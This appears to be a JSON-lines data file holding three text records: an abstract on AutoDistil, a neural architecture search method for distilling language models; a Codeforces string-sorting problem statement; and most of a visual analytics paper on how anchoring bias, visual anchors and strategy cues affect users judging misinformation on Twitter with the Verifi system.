{"text": "Few-shot Task-agnostic Neural Architecture Search for Distilling Large Language Models\nDongkuan (DK) Xu · Subhabrata Mukherjee · Xiaodong Liu · Debadeepta Dey · Wenhui Wang · Xiang Zhang · Ahmed Awadallah · Jianfeng Gao\nHall J (level 1) #231\nTraditional knowledge distillation (KD) methods manually design student architectures to compress large models given pre-specified computational cost. This requires several trials to find viable students, and repeating the process with change in computational budget. We use Neural Architecture Search (NAS) to automatically distill several compressed students with variable cost from a large model. Existing NAS methods train a single SuperLM consisting of millions of subnetworks with weight-sharing, resulting in interference between subnetworks of different sizes. Additionally, many of these works are task-specific requiring task labels for SuperLM training. Our framework AutoDistil addresses above challenges with the following steps: (a) Incorporates inductive bias and heuristics to partition Transformer search space into K compact sub-spaces (e.g., K=3 can generate typical student sizes of base, small and tiny); (b) Trains one SuperLM for each sub-space using task-agnostic objective (e.g., self-attention distillation) with weight-sharing of students; (c) Lightweight search for the optimal student without re-training. Task-agnostic training and search allow students to be reused for fine-tuning on any downstream task. Experiments on GLUE benchmark demonstrate AutoDistil to outperform state-of-the-art KD and NAS methods with upto 3x reduction in computational cost and negligible loss in task performance. Code and model checkpoints are available at https://github.com/microsoft/autodistil.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 364, "token_count_with_eod": 365, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "A string $$$s$$$ of length $$$n$$$, consisting of lowercase letters of the English alphabet, is given.\n\nYou must choose some number $$$k$$$ between $$$0$$$ and $$$n$$$. Then, you select $$$k$$$ characters of $$$s$$$ and permute them however you want. In this process, the positions of the other $$$n-k$$$ characters remain unchanged. You have to perform this operation exactly once.\n\nFor example, if $$$s=\\texttt{\"andrea\"}$$$, you can choose the $$$k=4$$$ characters $$$\\texttt{\"a_d_ea\"}$$$ and permute them into $$$\\texttt{\"d_e_aa\"}$$$ so that after the operation the string becomes $$$\\texttt{\"dneraa\"}$$$.\n\nDetermine the minimum $$$k$$$ so that it is possible to sort $$$s$$$ alphabetically (that is, after the operation its characters appear in alphabetical order).", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Anchored in a Data Storm: How Anchoring Bias Can Affect User Strategy, Confidence, and Decisions in Visual Analytics\nCognitive biases have been shown to lead to faulty decision-making. Recent research has demonstrated that the effect of cognitive biases, anchoring bias in particular, transfers to information visualization and visual analytics. However, it is still unclear how users of visual interfaces can be anchored and the impact of anchoring on user performance and decision-making process. To investigate, we performed two rounds of between-subjects, in-laboratory experiments with 94 participants to analyze the effect of visual anchors and strategy cues in decision-making with a visual analytic system that employs coordinated multiple view design. The decision-making task is identifying misinformation from Twitter news accounts. Participants were randomly assigned one of three treatment groups (including control) in which participant training processes were modified. Our findings reveal that strategy cues and visual anchors (scenario videos) can significantly affect user activity, speed, confidence, and, under certain circumstances, accuracy. We discuss the implications of our experiment results on training users how to use a newly developed visual interface. We call for more careful consideration into how visualization designers and researchers train users to avoid unintentionally anchoring users and thus affecting the end result.\nAn emerging topic within the Visual Analytics (VA) community focuses on understanding the impact of cognitive biases on the analysis process aided by visual analytic systems. VA combines automated analysis techniques with interactive visualizations to facilitate human decision-making processes on large and complex data. One of the many factors that contribute to an effective VA system is the support of exploratory visual analysis [21, 16]. Many VA systems designed to support exploration often employ coordinated multiple views (CMV) to present various aspects of the underlying data and analysis results. These VA systems offer the flexibility of devising different strategies to solve problems the systems are designed to address. The strategies can materialize in how the users interact with VA systems, including relying on all or a subset of the coordinated views, as well as the perceived importance of different views. As a result, during exploratory visual analysis, users are faced with a potentially overwhelming array of choices while being constrained by limited cognitive resources and uncertainty. For instance, users need to decide on the view to start their analysis, where to go next within the visual interface, how to interpret and synthesize patterns seen from multiple views, as well as the combination of views to rely on for their decisions. Such exploratory visual analysis processes are prone to cognitive biases .\nCognitive biases are rules of thumbs or heuristics that aid in decision-making tasks and allow users to reach decisions with relative speed . Cognitive biases have been shown to affect decision-making processes in predictably faulty ways that can result in sub-optimal solutions when information is discounted, misinterpreted, or ignored . One cognitive bias particularly relevant to exploratory visual analysis with VA systems is anchoring bias. It refers to the human tendency to rely too heavily on one and most likely the first piece of information offered (the âanchorâ) when making decisions . Numerous studies from the fields of psychology and behavioral economics have analyzed the effect of numerical anchors, showing difficulties for participants to adjust away from the initial numerical value (anchor) provided . In prior work, we demonstrated that the anchoring effect transfers to VA; specifically we described “visual anchoring”, which refers to the over reliance on a single or subset of views during exploratory visual analysis with VA systems that employ CMV design . As one of the first studies on the effect of anchoring bias in VA, our prior work is situated in an open-ended task (identifying protest-related events from social media data). Therefore, we analyzed the impact of visual anchors on the analysis paths but not on user performance (due to the absence of ground truth events). Moreover, no comparisons were made between visually anchored groups against a control group (no visual anchor given).\nThe experiments presented in this paper are designed to analyze the impact of visual anchors on a variety of quantitative metrics including accuracy, time, user interactions, data coverage, as well as ways that users can be visually anchored. To situate our study in a real-world reasoning task, we chose the application of misinformation investigation of social media news accounts. Recently, the topic of combating misinformation has received much attention in many fields including data mining, journalism, and computational social science [18, 23, 30]. While a variety of computational techniques have been explored, some scholars have also called for the need to study misinformation in randomized, controlled laboratory experiments . In our study, we use a visual analytics tool designed for investigating misinformation. We design multiple treatments/conditions in order to analyze the effect of visual anchors while participants performing the task of evaluating the veracity of news accounts on Twitter.\nOur work makes the following salient contributions:\nThe design of experiments situated in a task of making decisions about the veracity of news media accounts on Twitter using a visual interface designed for investigating misinformation, as two rounds of between-subjects in-laboratory experiments () to test the effect of visual anchoring in decision-making.\nCareful integration of psychology literature on ways a user can be anchored in exploratory visual analysis to reveal the effect of anchoring with strategies or cues.\nQuantitative analysis performed on a range of factors that effect anchoring bias in VA to reveal findings on how visual anchors impact user performance and data coverage as well as user confidence on their decisions.\nUnderstanding the effect of various cognitive biases in visual analysis and how the biases are reflected in the analysis process with a VA system serve as an important first step to raising awareness and ultimately mitigating cognitive biases in visual analysis. At the end of the paper, we connect findings from our experiments to practices of interacting with participants on a newly designed visual analytic system. The findings of our user study shed more light on how and when anchoring bias could occur when using visual analytic interfaces and call for more careful consideration when introducing a visual interface to end-users or designing tutorials of a visual analytic system.\n1 Related Work\nWe summarize the current research effort on cognitive biases in visualization into two categories: holistic approaches aiming at framework and metrics for studying cognitive biases in visualization research, and empirical studies of how a certain type of cognitive bias manifests and impacts the analysis process facilitated by visual analytic systems. We also review literature that motivated our experiment design and research questions.\n1.1 Cognitive Bias and Anchoring in VA\nCognitive Bias are systematic patterns in judgments that deviate from rationality due to a variety of factors (e.g., unfamiliarity, too much information, quick decision-making). Psychologists and social scientists have followed the seminal work of Tversky and Kahneman  to investigate a variety of cognitive biases in a variety of applications . Recently, visual analytics community has started to explore the role cognitive biases play in decision-making processes [32, 36, 33]. In this paper, we follow our previous empirical study  to further investigate the role of anchoring bias within a CMV system.\nOur precedent for providing visual anchors and strategy cues in the experiment design is rooted in the fundamental literature from psychology [26, 1, 38, 19, 29, 9, 6]. To illustrate, research has demonstrated that users preferred to devote attention to stimuli that matched a given hypothesis or template, even in the presence of alternate, more optimal strategies . The work of  designed experiments in which participants were given explicit and implicit spatio-temporal cues in a visual event coding task and found systematic effects of the explicit and implicit cues on users’ attention within the visual analytic system and how these cues affected processing of information.\n1.2 Reviews on Practices of Evaluating Visualization\nThe findings from our experiments are relevant to a critical step, providing training and tutorial, during visualization evaluation with human subject. Therefore, we briefly summarize existing work on the theories and practices of visualization evaluation and highlight which step in evaluating visualization that our findings can inform. Visualization evaluation has always been an integral part of research in the VIS community [17, 12, 25]. By surveying 850 papers from the InfoVis and VAST venues, Lam et al. identified seven evaluation scenarios in order to guide practitioners to design effective user studies . Two out of the seven scenarios specific to understanding visualizations involve directly interacting with participants. The two scenarios, namely evaluating user performance and evaluating user experience, are among the most frequently used evaluation techniques. Although the scenarios provide great guidance on the selection of appropriate questions and goals for user evaluation, there are several challenges when carrying out the evaluation. Such challenges include short duration of many study periods , insufficient number of study measures , and possibly inadequate training of participants .\nAnother recent survey of visualization evaluation practices from the Vis Community echoed these challenges and highlighted that many publications need to observe more evaluation reporting rigor by providing important methodological details . Based on the findings from our experiments, we argue that reporting how the participants were trained (by experimenters, with or without a script, training videos, example strategies to complete the task, etc.) should be consistently reported. Our results show that the training can have a significant impact on how participants use of the interface, as well as their performance and their perceived confidence on completing the task(s).\nIn this section, we first review our visual analytics system, Verifi, and then outline of research questions.\n2.1 The Verifi System\nFor our study, we use Verifi  (Fig. 1), an interactive, coordinated-multiple views system for identifying Twitter news accounts suspected of spreading misinformation. Verifi includes four main views: Social Network, Accounts, Tweet Panel, and Entities. Each view provides users with different factors that have shown to be important in detecting misinformation . The Social Network and the Accounts views are the two primary views that serve as the two visual anchors. The Entity View and Tweet Panel are secondary views.\nThe data includes 82 Twitter news accounts anonymized by name but annotated with color labels indicating whether they are source of misinformation (red), real news outlets (green), or require the users’ decision (grey). The annotations are based on multiple third-party sources 111Suspicious accounts are based on four websites as provided in . 31 real news accounts are provided through the following links: https://tinyurl.com/yctvve9h and https://tinyurl.com/k3z9w2b. Each user’s task is to make a decision on the veracity (real or suspected of spreading misinformation) for eight grey accounts within a one-hour session. Building on our prior study, these eight grey accounts have been qualitatively selected to provide a range of difficulties as well as consistent and inconsistent information to challenge users in their decision-making processes . Table 2 provides the anonymized names of the eight gray accounts (four real and four suspicious according to third party sources) along with a brief description.\n2.2 Overhauled Experiment Design\nIn our past study , we investigated anchoring bias within a visual analytic system (CrystalBall ) that employs CMV design for event detection in Twitter. In this paper, we have revamped the experiment design in three ways. (1) We collect direct input on users’ decision-making process, we included a form submission view (Figure 2) to explicitly capture the precise moment when users make a decision about misinformation, and allow users to directly rate the helpfulness of the strategy cues to each decision within the system. (2) We provide explicit strategy cues (in the form of written cues and reinforced in the training videos) as a second treatment condition for each primary view in Verifi . In this way, we can control for the role as well as measure users’ evaluation of that strategy for each decision. (3) We quantitatively evaluate the impact of visual anchors and strategy cues on users’ performance, we designed the experimental task in a way that the users’ answers can be measured against ground truth. The task in our past study with CrystalBall was exploratory in nature, thus we couldn’t measure users’ accuracy.\n2.3 Research Questions\nWe seek to investigate how users may be anchored on different views in a CMV system and how they might be anchored on specific interaction strategies based upon the training given to them. Further, how does anchoring affect user performance, confidence and data coverage? Accordingly, our two main research questions (RQs) are:\nRQ1: What is the effect of visual anchors and strategy cues on participant performance (i.e., correctness, speed, and confidence) and ratings (e.g., view importance and strategy usage)?\nRQ2: Can users’ analysis process (e.g., interaction logs) be linked to participant performance outcomes to infer user strategies?\nTo analyze RQ1, we use univariate statistical tests (e.g., one-way ANOVA, Kruskal-Wallis Rank Sum) as well as multivariate regression (e.g., linear, logistic) to consider the effect among additional independent variables (e.g., account or time). For RQ2, we use feature extraction to obtain time spent in each view and coverage metrics  to understand user strategies through their interaction logs. After isolating features that measure primary actions, we cluster users based on their usage patterns and validate against their responses to identify unique behaviors attributed to each group. Using visual analytics, we explore user-level interactions by these clusters to identify salient behaviors and strategies.\nTo analyze the effects of visual anchors and strategy cues in decision-making, we performed two rounds of between-subjects, in-laboratory experiments. Each user’s task is to make a decision on the veracity (real or suspicious) of the eight grey accounts (see Figure 2). Users could make their decisions at any time by entering the Form Submit view (Figure 2) in the Progress Bar view for each account. To control for learning effects, we randomized the order the accounts were presented in the Progress Bar per unique user ID.\nFollowing established psychology experiment design, we explicitly devised strategy cues to present to users as part of our experiment condition. Each strategy cue aligns to one of two primary views in the Verifi VA system: Accounts view (L) and Social Network view (S). The Accounts view presents information about how each Twitter news account score on the language features, such as fairness, loyalty, anger, and fear. While the Social Network shows account connections through retweets and mentions. The cues were given as a piece of paper to users. The text of the cues are:\nCue 1L: “On the language measures, real news accounts tend to show a higher ranking in loyalty, fairness, and non-neutral.”\nCue 2L: “On the language measures, real news accounts tend to show a lower ranking in anger, fear and negativity.”\nCue 1S: “In the social network graph, real news accounts are less likely to mention and retweet content from suspicious accounts (fewer outgoing arrows to red nodes).”\nCue 2S: “In the social network graph, real news accounts tend to receive more mentions and retweets (more incoming arrows to their nodes).”\n3.1 Descriptive Statistics\nIn Round 1, we examine whether the starting point in the strategy provided to users would anchor them on a particular view, since certain psychological studies suggest that users are usually anchored on the first piece of information . Thus, Round 1 explores the role of dual strategies (social network or language features), reversing the order in which participants in a given treatment group are presented with the visual anchors and strategy cues. The control group participants in this round are given neither a visual anchor nor strategy cues. Round 1 took place in December, 2017. The findings from Round 1 justifies a follow-up study to tease out the effect of visual anchoring not only by the starting point in the training strategy, as well as the individual effect of visual anchors and strategy cues. In Round 2, we provided more focused treatments (i.e., only one set of view-based strategy cues and related visual anchor) along with a variant control group (i.e., all four cues, but no visual anchor). Round 2 took place in February, 2018. Combined, both studies enable a full investigation of two treatment mechanisms. Table 1 provides the treatment groups per round.\nThe entire user session lasted around one hour and included pre- and post-questionnaires. The actual task with the visual interface was capped at 45 minutes and averaged slightly less than 30 minutes (M = 27.1 minutes, SD = 7.524, 25% percentile = 20.98, 75% percentile = 31.88). Each session is identified through user’s participant ID and interactions like clicks, hovers, and scrolls were tracked and saved in our database. Computer specifications (browser, output/zoom) were controlled for to avoid them as confounding factors.\nOur study included 94 participants divided into two rounds, each with 47 participants.222In the first round, we excluded an additional 15 users (S1 - S15) but Verifi’s mechanism to record responses failed during their user session. Hence, we could not record their decisions. Users could participate in only one round, not both. The gender distribution was 68% male and 32% female. Users’ ages were between 21 and 56 (M = 28.67). A majority of users were pursuing their Master’s (88%), followed by Undergraduate (5%), Other (5%), and Ph.D. (1%). Students were recruited through extra credit incentives offered in one of six courses. The courses included Visual Analytics (n = 40), Natural Language Processing (n = 25), Advanced Business Analytics (n = 14), Human Behavior Modeling (n = 6), Applied Machine Learning (n = 6), and Social Media Communications (n = 3).\n3.2 Round 1: Dual Anchors and Cues\n3.2.1 Experiment Setup\nIn Round 1, we recruited 47 participants who were randomly assigned one of three treatment groups. As shown in Table 1, the two treatment groups were provided all four strategy cues (introduced in Section 3) while the control group received no cues. The treatment groups differed by their visual anchor; the order of each view depended on the group. For example, the Social Network (SN) group’s scenario video starts the investigation in the Social Network View and arrives at a conclusion of an example account being real or suspicious, this finding is then reinforced by investigation in the Language Features (LF) view. Similarly, the LF group’s scenario video starts the investigation in the Language Features view. The two treatment group received the same information, only the order (LF or SN) was swapped.\n3.2.2 Experiment Results - RQ1\nUnivariate analysis. In Round 1, we find evidence that visual anchors and strategy cues had an effect on users’ confidence and, weakly, overall time spent during analysis. Table 4 provides the respective univariate statistical tests for the treatment effects on each outcome per round. We find that confidence is significantly different among treatments in Round 1, driven by the much lower confidence in the Control group. Alternatively, we find that Time Spent is weakly significant, again driven by a much longer average session of the Control group (M = 31.7 minutes) than the two treatments (see Figure 3).\nTable 5 provides Kruskal-Wallis Rank Sum tests for users’ View Importance ratings per round. The view importance were reported by users for each decision. In Round 1, we find a significant difference in user view importance rating for Tweet Panel and Entities views. As indicated in Table 3, we find the largest difference between the Control group. This result is interesting as it demonstrates that, without intervening on this group with a visual anchor, users value the two supplemental views more than users who may be “anchored” to focus only on the two primary and more ”visual” views. In Round 1, we find the treatment groups do have a significant effect on the value users rate the Account view, suggesting that such a visual anchor drove users to leverage more of that view for their decisions. However, we do not find a similar effect of the SN view as all three groups (including Control) ranked that view nearly identically throughout the sessions.\n|Test||Outcome||Round 1||Round 2|\n|View Importance||Round 1||Round 2|\nMultivariate analysis. One weakness of univariate statistical tests is that it ignores relationship among multiple other variables that may also affect accuracy or confidence. To assess such effects, we consider multivariate regression to explain both accuracy and confidence.333We did not investigate total session time due to the problem of allocating time to each actions for each decision. Therefore, we only investigate accuracy and confidence as dependent variables within a regression framework. As mentioned earlier, we did not find that the treatments had an effect on accuracy in Round 1. However, similar to our previous study on confirmation bias , we find that a more important factor in explaining accuracy is in the difficulty of each account. Table 6 provides user accuracy by each account. We find some accounts (e.g., @GothamPost and @ViralDataInc) are very easy for all users and have 90%+ accuracy. Alternatively, other more difficult accounts – like @NationalFist and @MOMENT – had a much lower user accuracy as these accounts had misleading cues or incomplete information (e.g., @NationalFist was not connected on the social network). This implies account-level variation that can be controlled for as a random effect, rather than a fixed effect. As users provided multiple responses, we assume that those responses may be related given they were generated by the same individual who may be better or worse at prediction. Similarly, we also treat each user as a random effect as well.\nTo consider both account and user-level as random effects, we use a generalized linear mixed effects modeling approach  for each of the two outcome values using the R package lme4. For each regression, we use a slight variant depending on the outcome variable format. For accuracy, a binary 1 (correct) or 0 (incorrect) variable, we use a logistic mixed effects model. Alternatively, confidence is a continuous variable between 0 (no confidence) to 1 (perfect confidence) and, hence, we use a linear mixed effects model.\nFor each model, we consider ten fixed effects including the four view importance and four strategy cue ratings. One key modification is that for the strategy cues we modified the raw values (1 = yes, 0 = no) dependent on whether the user’s cue rating was consistent with the account’s actual veracity. For example, cues 1L, 1S, and 2S were phrased so that “yes” responses point to real news accounts. Therefore, the modified values are 1 when the cue aligns to the cue’s direction, In addition, we include a time of decision variable to attempt to measure potential learning effects (i.e., decisions earlier in the session tend to be less correct or confident than decisions near the end). Table 7 provides the regression results for each dependent variable.\nIn Round 1, the treatment groups had a significant effect on user confidence but not accuracy. Regressions (1) and (4) provide the Round 1 results. After controlling for other variables, we find that users are much more likely to provide higher confidence in the two treatment groups (LF and SN) as compared to the control group. However, the same variables show no significance when predicting users’ accuracy. This suggests that either the cues or visual anchor may give users more trust in the system but do not materialize into actual decision-making gains for determining misinformation. We also find that the strategy cues were very important to users’ accuracy. All four cues were statistically significant (99%+ confidence) to explain accuracy. Moreover, coefficients can help rank which cues are more important. For example, the Fairness Cue (1L), when used consistent to the account of interest, had the most significant positive effect on correct responses. Alternatively, the More Mentions Cue (2S) was positively linked when used consistently but to a less extent than the other cues. Last, we find that users’ view importance ratings are positively linked to users’ confidence levels but not their accuracy. For instance, users with higher Social Network, Tweet Panel, or Account view importance provide higher overall confidence for their decision but such self-assessed ratings do not translate into better decision-making.\n3.2.3 Experiment Results - RQ2\nTo answer RQ2 regarding anchoring effect on the analysis process, we consider both univariate statistical tests to identify differences in interaction logs as well as clustering users based on primary and secondary actions and time differences to categorize them based on inferred behaviors and strategies.\nTime spent per view. In Round 1, we find certain differences between time spent on each view. To measure time spent per view, we calculated the difference in time between each sequential pair of actions. We then attributed that difference to the later action and, thus, the related view for that action. For example, if a user logged in at time zero, then their next action was a SN node click, we attributed the one second difference to the SN view. We then aggregated total time per view for each user.\nTo consider statistical differences in time spent, we used one-way ANOVA (with Tukey HSD adjustment) to compare how the treatments may have affected time spent. Table 8 provides the results of the statistics tests. In Round 1, we find significant differences in the amount of time spent per view in the Form Submit, Tweet Panel, and Entities views. Specifically, we find most differences are between the control group and the two treatment groups rather than differences between the treatments. For example, in the Tweets Panel view, post hoc comparisons between groups indicate significant difference between SN and Control groups () and between the LF and Control groups (). Moreover, we find similar, but weaker, significance between time spent in the Entities and Form Submit views. Post Hoc comparisons between the groups indicate significant difference on the Entities view between the LF and Control group ().\nTime to first decision. In addition to Time spent per view, we also consider the time until each users’ first form submit. The goal of this metric is to measure how long the user explored the interface before formally starting his or her decision-process. In Round 1, we found significant differences between time to submit their first form between the treatment groups (). Specifically, post hoc comparisons between the groups indicate significant difference between the Language Features and Control groups ().\nCoverage Metrics. In addition to time spent per view, we also created several coverage metrics  to explore usage of key functionality in the interface. Specifically, we consider six primary actions: progress bar click, LF sort (combined for red/green features), and SN hovers (for grey, green, and red accounts).444We removed hovers less than one second after a previous action to remove unintentional actions. These six actions can be categorized as four possible strategies:\nLanguage Features: For this strategy, we measure the time spent on the Accounts view as well as the Language Sort clicks for either the “green” (positively correlated with real accounts) or “red” (negative correlated with real accounts) features.\nSocial Network: For this strategy, we measure the time spent on this view as well as the three primary actions related to the social network: hovers on grey, red, and green accounts. To remove unnecessary noise, we removed all hovers committed less than one second to any previous action.\nOrganized: To measure this, we include Progress Bar clicks to track users who use this functionality to maintain their progress.\nExplorer: i.e., user who takes much longer before moving into decisioning via form submissions. To explore this behavior, we use the time until their first form submit as an additional feature.\nTable 9 provides the one-way ANOVA tests for each of these metrics. In Round 1, we find significant differences in the use of the social network hover, especially the red-green hovers. These hovers tend to indicate exploring by example – for example, learning how well connected other known red or green accounts. Using post hoc Tukey tests, we find that there is significance between LF and Control groups () for hovering over the red accounts and between LF and Control groups () for hovering over the green accounts. We also find strong significant difference in using the LF sort functionality for the green accounts and post hoc comparisons indicate strong significance between the SN and Control groups (). We also find weak significance on the LF sort functionality for the red accounts with post hoc comparison showing difference between the SN and Control groups ().\n3.3 Round 2: One Anchor and Partial Cues\n3.3.1 Experiment Setup\nRound 2 was motivated to identify the individual effects of each visual anchor and corresponding strategy cues. For example, Round 1 treatments received all four cues as well as two visual anchors – simply in reverse order. However, from Round 1 it is not clear what is the effect of either cue pairs or visual anchors given the groups received both treatments. To address this problem, we devised Round 2 to build off of Round 1’s design but provide partial cues and visual anchors. As in Round 1, all treatment and control groups still received the same general video to introduce all views and functionality. The difference in Round 2 treatment groups is that the SN group only received the SN cues (1S, 2S) and SN scenario video as the visual anchor. Alternatively, the LF group only received the two LF cues (1L, 2L) and the corresponding LF visual anchor. For the control group, we provided users all four cues (but no visual anchor) to differ from the Round 1 control group in which participants did not receive any cues.\n3.3.2 Experiment Results - RQ1\nUnivariate analysis. In Round 2, we find evidence that the treatments had an effect on confidence but not time spent or accuracy (see Table 4). Notably, we find again that the control group had a much lower average confidence than both of the treatments that provided only one set of cues and visual anchors. Nevertheless, we did find that the Round 2 Social Network group had a marked decline in accuracy as shown in Table 4. Regarding View Importance, in Round 2 we find a significant difference in user view importance for Entities view and a slight difference for the Social Network view.\nMultivariate analysis. To analyze user accuracy and confidence, we again employ mixed effects models on Round 2 (regressions (2) and (5)) and then combine both rounds (Table 7). For accuracy, we find a slight effect of SN treatment group in Round 2, as that group’s performance was the lowest out of any round-group treatment. Moreover, in Round 2, we observe a learning effect as the time of the users’ decision is positively related with higher accuracy. Like Round 1, we also find that consistent strategy cue use are strongly correlated with accuracy. This observation indicates that, holding all variables constant, users who performed much better when they correctly employed the strategy cues. Once again, the Fairness Cue (1L) is the most important as it has the largest coefficient value. Last, like Round 1, we find higher confidence levels tend to be positively related to more accurate decisions but with a higher level of statistical significance.\nAlternatively, in the explanation of users’ confidence in Round 2 (i.e., regression (5)), we find that the Language Features treatment group is positively associated with nearly an 11 point higher confidence level than the control group for Round 2. In addition, we find that users’ view importance ratings for Social Network, Tweet Panel, and Account views are positively related to confidence like Round 1.\nLast, to isolate specific treatment effects, we combined both rounds to create regressions (3) and (6). In these models, instead of using the treatment groups as a covariate, we combined them to create a six-level treatment variable with the reference is the Round 1 control group (no cues / no visual anchor). In these models, we find that neither providing cues nor the visual anchors have a statistically significant fixed effect on user accuracy. Like previous rounds, strategy cues (when used), time and user confidence affect user accuracy. This suggests that while the strategy cues were helpful, some individuals choose to ignore (or perhaps did not fully trust or understand) the strategy cues. Second, we find visual anchors, especially the language features, have a positive effect on user confidence. For example, as compared to having no visual anchor (or cue), users provided both visual anchors on average had nearly an eight point higher confidence score. Interestingly, the social network cue alone does not provide a similar gain. One possible explanation could be users felt more comfortable with the social network views originally and hence, additional reinforcement of this view and strategy did not add further confidence.\nAccount-level analysis. While we did not find that the treatments had, on average, an effect on accuracy, we find that the treatment groups have some variation in accuracy when controlling for the account. Figure 4 provides the accuracy for each treatment as encoded by color (strategy cues provided) and shape (visual anchor). The x-axis provides decisions for each each account by treatment and the y-axis provides that treatment’s accuracy. Slight x-axis jittering was provided to separate points. Consider @MOMENT (Account 71) which was the most difficult account. We observe that groups with no visual anchor performed better on this account. The issue with Account 71 was that its cues were conflicting as it was only connected to a red (suspicious) account whereas its language features were not entirely consistent with 1L and 2L. Because of this problem, not only did the cues tend to hurt performance, but even visual anchors seem to drive sub-optimal performance for this account.\n3.3.3 Experiment Results - RQ2\nSimilar to Round 1, we find differences in Time Spent (Table 8) per view and coverage metrics (Table 9) in Round 2 depending on the treatments provided. We find there is strong significant differences on Time Spent between the SN and LF group () on the Accounts view. On the coverage metrics, we find significant difference on the use of LF sort between the red (suspicious) and green (real) accounts. Post hoc comparisons show a strong significance between the LF and Control groups () and between SN and LF groups () on the usage LF green sort. We also significant difference between the LF and Control groups () and between the SN and LF groups () while using the LF red sort.\nClustering users based on their interactions. To identify user behaviors with the coverage and time spent metrics, we used Ward’s D2 Agglomerative Hierarchical Clustering  to cluster users and features. To improve our results, we combine both Rounds 1 and 2 instead of running clustering on each individual round. Figure 3 provides a cluster heatmap visualization from the R package heatmaply . In this figure, each metric is normalized as the percentile (rank) across the metric. For example, yellow indicates a user who ranks high on that metric compared to all other users (regardless of group or round). Dark blue represents users with a low rank of that metric.\nTo determine the optimal number of clusters for the rows (features) and columns (users), we used the maximal average silhouette width method on the cophenetic distance of the dendrogram . The algorithm detected five clusters on the user-level, as identified by the five colors in the horizontal dendrogram. We then annotated the five clusters based on common attributes shared by users within a cluster.\nWe find the clusters can infer user strategies. For example, the ‘Slow and Steady’ cluster is mostly yellow, indicating a high rank across all metrics. These users explored the entire interface’s functionality for an extended period of time. On the other hand, the ‘Fast and Quick’ group is mostly dark blue as they ranked low in coverage metrics and time spent. The bottom two rows of the dendrogram provide the treatment group and round information for each user. One hypothesis is that users anchored on different view would adopt different analysis strategies. If this were true, we would expect that users would cluster based on such treatments. In part, we find some evidence. Take ‘Anchored to Social Network’ group as an example. Only one user who was treated with a LF visual anchor (dark blue) within this cluster. As we would expect, many are SN groups (light red) that received the SN visual anchors. However, what’s peculiar is the number of Control users (light blue), particularly those from Round 1 (light green). These users were not even given the social network cues! These users seem to naturally be drawn to this view more than other views.\nDescriptive statistics and distribution plots (Figure Figure 5) can also provide more context on each cluster. We find that the ‘Slow and Steady’ cluster users averaged much longer session times (M = 35.97 minutes). Further, these users were late starters who explored early. They averaged nearly 10 minutes before each users’ first decision submission. For context, other groups typically made their first decision between 3 and 7 minutes. We also find that these users actively used the Progress Bar (M = 21.5 times), indicating more organization, while also using both primary views (Social Network and Accounts) frequently. Interestingly, this cluster has, on average, the highest accuracy of 82.8%. Alternatively, we identified two clusters as users who focus more on either the SN (#1) or LF (#2). For example, cluster #1 spent 2.3x more time on the Social Network view than the Account view (i.e., LF) whereas the opposite holds for cluster #2.\nLast, we validated the clusters using response and post-questionnaire data that was not included in the clustering process. For instance, we find that the clusters provide a range of different ratings for the language features and social network functionality in the post-questionnaire. Users in the ‘Anchored to Social Network’ (#1), ‘Highly Confident’ (#3), and ‘Fast and Quick’ (#4) generally preferred the social network over the language features. However, the ‘Anchored to Language Features’ cluster (#5) was the only cluster to prefer, on average, the LF over SN. Alternatively, we can find distinct differences in user motivation, interest, and challenge between clusters like ‘Slow and Steady’ (#2) and ‘Fast and Quick’ (#4). The ‘Slow and Steady’ cluster tended to be the most motivated, interested, and challenged out of all of the clusters. This makes sense given their longer session times and heavy usage. While on the other hand, the ‘Fast and Quick’ cluster was the least motivated and interested. Likely this lack of interest led to their shorter session times and may factor in their lower accuracy.\nWe also used visual analytics to explore the user-level interaction logs by clusters. Figure 6 provides a scatter plots of fifteen example user sessions. In each plot, a dot represents an action for each of the six views. Slight y-axis jittering is applied to spread out overlapping actions. The x-axis represents the session time (in minutes) of each individual action. Each chart column represents three example user sessions from each cluster. Chart row order represents, in descending order, highly accurate users (7+ out of 8, top row), average users (5-6 out of 8, middle row), and inaccurate users (4 or less of 8, bottom row). Users C10, C103, and L6 had 100 percent accurate while S110 had the worst accuracy (1 out of 8). Outlier behaviors can also be identified from this plot. For instance, L103 followed the LF cues by almost exclusively using the Accounts view. Moreover, this user waited until the end of the session to make all decisions.\nWe were able to identify general patterns from these plots too. For example, the left-most column provides three users who are clustered to the ‘Anchored to Social Network’ group. These users tend to have many more actions in the Social Network view as compared to the Accounts, Tweet Panel, or Entities view. They seldomly use the Progress Bar (e.g., S104 and C1 use it somewhat while S108 never used the Progress Bar). Alternatively, we find examples in the ‘Slow and Steady’ group to have much longer user sessions, lasting well over thirty minutes (some even near forty minutes or more). These users tend to use a combination of all views like the Accounts, Social Network, and even the Tweet Panel views.\nPost-Questionnaire Feedback. Additional insight in understanding user strategies can be gleaned from the qualitative feedback provided by users in the post-questionnaire. For instance, some participants identified a lack of trust in the language features because of a lack of clarity of their composition: “I did not like making a decision based on you saying whether the language measures were good or bad, I wanted to understand the language measures better.” Others commented on the need for additional interface features, like a help menu, to aid in this intensive cognitive process: “it would be beneficial to have a ‘help’ section ON the platform to look at when needing the reminder of things the video mentioned.” Other users commented on the usability of views in general, like the entities and Tweet Panel view. For example, one user commented “I didn’t really understand the need of entities to determine fake articles.” While another user admitted that “I did not use the tweets or entity features of the interface.” Both comments explain users’ limited use of that view but was expected given the limited training to functionality for these views.\n4 Implications for VA Evaluation Practices\nWe argue that our findings are informative for guidance on training and tutorial during visualization evaluation with human subjects. Our findings show that visual anchors and strategy cues can significantly impact users’ confidence and time spent investigating in each view when performing tasks. In addition, evidence from our study suggest that being anchored to a particular view (SN) can lead to significant worse accuracy (Round 2). Anchoring to a subset views would lead to the over-reliance on (often incomplete) information presented in those views, thus preventing users from getting a comprehensive picture.\nSuch anchoring could occur due to the way we train participant how to user the visual interface before asking them to carry out the tasks. First, providing a general training video is a good idea, however, careful considerations are needed when devising a script or training video. The experimenter may want to make sure that all important features/views get equal coverage in the script/video. Second, providing a secondary video/script walking participants through solving the task with an example dataset is a great way to help participants get started. However, experimenters may unknowingly anchor some participants on an implied strategy implemented in the video/script.\nSince our experiments show that visual anchors can indeed impact multiple performance metrics (confidence, accuracy, time to decision), we would like to raise awareness of participants possibly being unintentionally anchored and suggest careful consideration on how to train users to use a visual interface.\n5 Limitations and Future Work\nIn this section, we outline study limitations along with identifying areas of future work for analyzing cognitive biases in visual 